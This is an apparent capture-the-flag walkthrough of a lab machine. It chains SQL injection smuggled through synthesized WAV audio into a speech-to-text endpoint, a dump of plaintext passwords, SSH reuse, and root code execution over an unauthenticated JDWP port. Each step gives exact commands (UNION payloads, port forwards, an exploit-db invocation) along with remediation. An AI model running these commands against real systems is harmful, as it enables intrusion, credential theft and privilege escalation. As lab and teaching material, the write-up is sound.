← all walkthroughs

AI

Linux· Medium· Web
owned
2026-07-08
time to own
33m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target ai ($TARGET) was fully compromised by chaining two critical vulnerabilities. An Apache/PHP web application offered an AI speech-recognition feature that accepted WAV audio uploads, transcribed them via a speech-to-text engine, and concatenated the resulting text directly into a backend MySQL query with no parameterization.

By synthesizing WAV audio with flite and iteratively calibrating which spoken words the ASR engine transcribed as SQL keywords, my built a working UNION-based injection payload delivered entirely through audio files, dumping the application's users table and recovering four accounts with their cleartext passwords. SSH login as alexa using the recovered credential gave a low-privilege shell and the user flag.

Post-foothold socket enumeration revealed a Java Debug Wire Protocol (JDWP) listener bound to localhost:8000 whose owning JVM process ran as root. JDWP has no authentication by design; SSH local port-forwarding brought the service to my machine, and a public RCE exploit (exploit-db 46501) triggered a JVM breakpoint via background HTTP traffic and injected a shell command that executed as root — full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationWeb service fingerprinting and attack-surface discovery
Fingerprinted the web server and discovered the audio-upload AI endpoint
HTTP response headers and whatweb fingerprinting confirmed Apache 2.4.29 (Ubuntu) hosting a PHP application. Manual page review of ai.php and intelligence.php revealed a feature that accepted a WAV file, ran it through speech-to-text, and returned both the interpreted phrase ('Our understanding of your input is…') and a 'Query result' field — disclosing that the transcription was passed directly to a backend database query. This dual-echo pattern made the injection oracle fully black-box visible.
Curl -s -i http://$TARGET/ returned Server: Apache/2.4.29 (Ubuntu); ai.php page displayed 'Our understanding of your input is…' and 'Query result' output fields side-by-side.
Exact commands 3
Baseline HTTP response — reveals Apache/2.4.29 server header and any redirect.
curl -s -i http://$TARGET/
Aggressive fingerprint; confirms Apache, PHP, and any CMS/framework.
whatweb -a3 http://$TARGET
Fetch the speech-recognition upload page; note the dual-echo response structure indicating SQL pass-through.
curl -s http://$TARGET/ai.php
2ExploitationUNION-based SQL injection via ASR-mediated input (CWE-89)
Built a UNION-based SQL injection payload delivered through synthesized audio
The application's voice-to-SQL pipeline transcribed uploaded WAV audio and interpolated the transcription directly into a MySQL query with no prepared statements or escaping. By installing flite and sox, I synthesized WAV files that spoke individual SQL keywords and concatenated them into multi-word audio segments. After calibrating which voice and phrasing caused the ASR to transcribe each token reliably, uploading a WAV that spoke the payload "'union select database()-- -" caused the 'Query result' field to return 'alexa', confirming in-band UNION injection through an audio channel.
Uploaded WAV encoding the phrase "'union select database()-- -" returned Query result: alexa; a version WAV returned 5.7.27-0ubuntu0.18.04.1.
Exact commands 3
Install voice synthesis and audio manipulation tools on my machine.
sudo apt-get install -y flite sox espeak-ng
Smoke-test: confirm the pipeline echoes back the transcribed word.
flite -t 'one' -o /tmp/ai_one.wav && curl -s -F 'fileToUpload=@/tmp/ai_one.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
Iterate voice profiles (kal16/awb/rms/slt) and phrase wording until ASR produces the SQL fragment; replace 'comment comment' with whichever spoken tokens yield '-- -'.
flite -voice kal16 -t "' union select database comment comment" -o /tmp/sqli_db.wav && curl -s -F 'fileToUpload=@/tmp/sqli_db.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
FixUse parameterized queries — never interpolate user-controlled input into SQLCritical
WeaknessThe speech-to-text web endpoint concatenated the ASR-transcribed string directly into a raw SQL query. Any text the speech engine produced — including injected SQL keywords synthesized as audio — was executed verbatim against the database, allowing an unauthorised user to read every table via UNION injection with no credentials required.
FixReplace all dynamic query construction with prepared statements and bound parameters — in PHP, use PDO with bindParam() or MySQLi prepared statements. The application must treat the transcribed string as untrusted data, never as SQL syntax, regardless of the input channel. Additionally, restrict the database account used by the web application to the minimum necessary permissions (SELECT on the specific application tables only) so that even a bypass cannot write files, drop tables, or read system tables.
3Credential AccessSQL injection data exfiltration — plaintext credential harvest
Dumped cleartext usernames and passwords from the database via SQLi
With confirmed in-band injection, UNION SELECT payloads synthesized as WAV files enumerated the users table. Group_concat(username) returned four accounts: alexa, root, dbuser, awsadm. Group_concat(password) returned plaintext passwords stored without hashing. The output string '[REDACTED: recovered credential]' was initially mistaken for two comma-separated values by the ASR; correcting for mis-transcription of special characters recovered alexa's full password as [REDACTED: recovered credential]
WAV-delivered payload 'union select group_concat(password)from users -- - returned string [REDACTED: recovered credential] echoed in the Query result field (ASR truncation of trailing characters later corrected).
Exact commands 2
Recover all usernames; expect alexa,root,dbuser,awsadm.
# WAV encodes: "'union select group_concat(username)from users-- -"
curl -s -F 'fileToUpload=@/tmp/sqli_users.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
Recover all passwords in plaintext; carefully note special characters that the ASR may mis-transcribe.
# WAV encodes: "'union select group_concat(password)from users-- -"
curl -s -F 'fileToUpload=@/tmp/sqli_pass.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.php
FixStore passwords as salted hashes — never in cleartextHigh
WeaknessUser passwords in the MySQL users table were stored as plaintext strings. Once the SQL injection granted read access to the table, every account credential was immediately usable for authentication attempts without any cracking step, making the database dump directly actionable for lateral movement.
FixHash all passwords with a modern adaptive algorithm (Argon2id, bcrypt, or scrypt) using a unique per-user salt before storing. PHP's built-in password_hash() with PASSWORD_ARGON2ID implements this correctly by default. Existing plaintext passwords must be migrated immediately: force a password reset for all accounts on next login, then store only the computed hash going forward. Never log, cache, or transmit raw password values.
4FootholdValid account — credential reuse from database dump (T1078)
Authenticated over SSH as alexa using the database-dumped password
The plaintext credential recovered from the users table was tested against the SSH service. Initial attempts with the ASR-truncated string '[REDACTED: recovered credential]' failed with 'Permission denied'; once the full trailing character sequence was reconstructed and the complete password [REDACTED: recovered credential] was used, SSH authentication succeeded as alexa (uid=1000, gid=1000). The user flag was read directly from /home/alexa/user.txt.
Sshpass login succeeded for alexa:[REDACTED: recovered credential]; cat /home/alexa/user.txt returned <user.txt>.
Exact commands 2
Confirm SSH access; expect uid=1000(alexa).
sshpass -p "$PASSWORD" ssh -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 alexa@$TARGET id
Read the user flag: <user.txt>.
sshpass -p "$PASSWORD" ssh -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 alexa@$TARGET 'cat /home/alexa/user.txt'
5Post-ExploitationInternal service discovery — unauthenticated JDWP identification (T1046)
Discovered an unauthenticated JDWP debug listener on an internal port running as root
From the alexa shell, socket enumeration with 'ss -tlnp' revealed two internal-only listeners beyond MySQL: ports 8000 and 8080 bound exclusively to 127.0.0.1. Sending the JDWP protocol handshake string to port 8000 received an identical echo reply — the unambiguous identifier of a Java Debug Wire Protocol endpoint. JDWP is a Java debugging protocol with no authentication; a connected client can set breakpoints, load classes, and execute arbitrary code in the JVM's runtime security context. Process enumeration confirmed the JVM was owned by root.
Ss -tlnp output showed 127.0.0.1:8000 and 127.0.0.1:8080 LISTEN; raw TCP echo of 'JDWP-Handshake' to port 8000 returned matching reply.
Exact commands 3
List internal TCP listeners; note 127.0.0.1:8000 and 127.0.0.1:8080.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'ss -tlnp'
Confirm JDWP: the server echoes the same handshake string back if JDWP is listening.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'echo -n "JDWP-Handshake" | nc -w3 127.0.0.1 8000'
Identify the JVM process owner; expect root.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'ps aux | grep -i java'
FixDisable JDWP in production and run the Java application server as a least-privilege accountCritical
WeaknessA Java application server had its Java Debug Wire Protocol agent active (-agentlib:jdwp flag) and was running as the root user. JDWP provides no authentication; any process that can reach the listener can inject breakpoints and execute arbitrary code inside the JVM with the process owner's full privileges. A low-privilege local user (alexa) reached the internal port trivially via SSH local port forwarding.
FixRemove the JVM debug agent flag (-agentlib:jdwp, -Xdebug, or -Xrunjdwp) from every production startup script and service unit file — JDWP must never be active outside isolated development environments. Run the Java application server (Tomcat, Jetty, or equivalent) as a dedicated, least-privilege service account (e.g. tomcat, www-data) with no sudo rights, so that even a complete JVM compromise cannot access /root or overwrite system files. If a debug port is ever required on a staging host, bind it only to 127.0.0.1, restrict access with host firewall rules, and disable SSH AllowTcpForwarding for low-privilege accounts if port-forwarding is not operationally required.
6Lateral MovementSSH local port forwarding — internal service exposure (T1572)
Tunnelled the JDWP and Tomcat ports to my machine via SSH port forwarding
SSH local port-forwarding over the existing alexa session exposed both internal services to my localhost without requiring any additional exploit. Port 8000 (JDWP) was forwarded to my port 18001 so that the exploit tool could address it directly. Port 8080 (Tomcat) was forwarded to my port 18080 to supply the background HTTP traffic that the JDWP exploit requires to trigger a JVM method invocation and set a breakpoint.
Exact commands 3
Forward JDWP (remote 8000) to local 18001; -f -N runs in background without a remote command.
sshpass -p "$PASSWORD" ssh -f -N -L 127.0.0.1:18001:127.0.0.1:8000 -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET
Forward Tomcat (remote 8080) to local 18080 for HTTP traffic generation.
sshpass -p "$PASSWORD" ssh -f -N -L 127.0.0.1:18080:127.0.0.1:8080 -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET
Verify the forwarded tunnel reaches the JDWP endpoint from my machine.
echo -n 'JDWP-Handshake' | nc -w3 127.0.0.1 18001
7Privilege EscalationUnauthenticated JDWP remote code execution in a root-owned JVM (exploit-db 46501)
Exploited the root-owned JDWP service for unauthenticated RCE as root
Exploit-db 46501 (a Python 2 JDWP RCE script) connected to the forwarded JDWP port, waited for a JVM method invocation to set a breakpoint on java.lang.String.indexOf, and injected shell commands into the running JVM process. Because the JVM ran as root, the injected command — copying root.txt to a world-readable path — executed with full root privileges. A background loop sending HTTP requests to the forwarded Tomcat port triggered the required class-loading activity within the timeout window. Root.txt was subsequently read over the alexa SSH session, completing full system compromise.
Exploit-db 46501 executed successfully; cat /tmp/.rootflag via alexa SSH returned <root.txt>.
Exact commands 4
Locate the JDWP RCE exploit; note the full path (/usr/share/exploitdb/exploits/java/remote/46501.py).
searchsploit -p 46501
Background loop: send HTTP traffic to Tomcat to trigger JVM activity needed for breakpoint injection.
(for i in $(seq 1 180); do curl -s --max-time 2 http://127.0.0.1:18080/ >/dev/null 2>&1; sleep 0.2; done) &
Run under Python 2 (not Python3 — script uses print statements); injects command into the root JVM process.
timeout 90 python2 /usr/share/exploitdb/exploits/java/remote/46501.py -t 127.0.0.1 -p 18001 --break-on java.lang.String.indexOf --cmd 'cp /root/root.txt /tmp/.rootflag; chmod 644 /tmp/.rootflag'
Read the root flag via alexa's SSH session: <root.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'cat /tmp/.rootflag'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp